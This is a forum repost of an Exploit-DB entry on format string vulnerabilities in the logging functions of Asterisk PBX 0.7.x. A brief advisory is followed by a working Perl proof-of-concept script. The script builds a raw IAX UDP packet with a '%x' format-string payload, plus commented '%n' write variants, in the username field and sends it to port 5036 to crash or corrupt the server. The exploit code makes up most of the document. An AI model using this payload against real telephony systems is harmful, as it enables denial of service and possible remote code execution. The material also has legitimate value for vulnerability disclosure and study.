Exploit Asterisk PBX 0.7.x - Multiple Logging Format String Vulnerabilities

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
24221
Проверка EDB
  1. Пройдено
Автор
[email protected]
Тип уязвимости
REMOTE
Платформа
LINUX
CVE
N/A
Дата публикации
2004-06-18
Код:
source: https://www.securityfocus.com/bid/10569/info

It is reported that Asterisk is susceptible to format string vulnerabilities in its logging functions.

An attacker may use these vulnerabilities to corrupt memory, and read or write arbitrary memory. Remote code execution is likely possible.

Due to the nature of these vulnerabilities, there may exist many different avenues of attack. Anything that can potentially call the logging functions with user-supplied data is vulnerable.

Versions 0.7.0 through to 0.7.2 are reported vulnerable.

#!/usr/bin/perl
#
# Asterisk 0.7.2 Linux PBX Remote Format string DoS (PoC)
#
# Feb 29 22:58:08 NOTICE[27151280]: Rejected connect attempt from 127.0.0.1, request
# 'exten=;callerid=;dnid=;context=;username=ce0ca0;language=;formats=;version=;}'

#
# kfinisterre[at]secnetops[dot]com - Copyright Secure Network Operations.
#

use IO::Socket::INET;

$sock=new IO::Socket::INET->new(PeerPort=>5036, Proto=>'udp', PeerAddr=>'localhost');
#$malpayload = "%.10d.";
#$malpayload .= "%.10d"; # add 6 to length
#$malpayload .="%n"; # write to the third address... we
have control of $esi
$malpayload = "AAAABBBB" . "%x." x 25;
$malpayload .="\x3b";

$payload = "\xa3\x7d\xff\xff\x00\x00\x00\x01\x00\x00\x06\x01\x65\x78\x74\x65\x6e\x3d\x3b" . # extern=;
"\x63\x61\x6c\x6c\x65\x72\x69\x64\x3d\x3b" . # callerid=;
"\x64\x6e\x69\x64\x3d\x3b" . # dnid=;
"\x63\x6f\x6e\x74\x65\x78\x74\x3d\x3b" . # context=;
"$malpayload" .
"\x75\x73\x65\x72\x6e\x61\x6d\x65\x3d" . # username=;
"\x6c\x61\x6e\x67\x75\x61\x67\x65\x3d\x3b" . # language=;
"\x66\x6f\x72\x6d\x61\x74\x73\x3d\x3b" . # formats=;
"\x76\x65\x72\x73\x69\x6f\x6e\x3d\x3b" . # version=;
"\xa3\x7d\xff\xff\x00\x00\x00\x15\x00\x01\x06\x0b"; # end of payload

$sock->send($payload);
close($sock);
 
Источник
www.exploit-db.com

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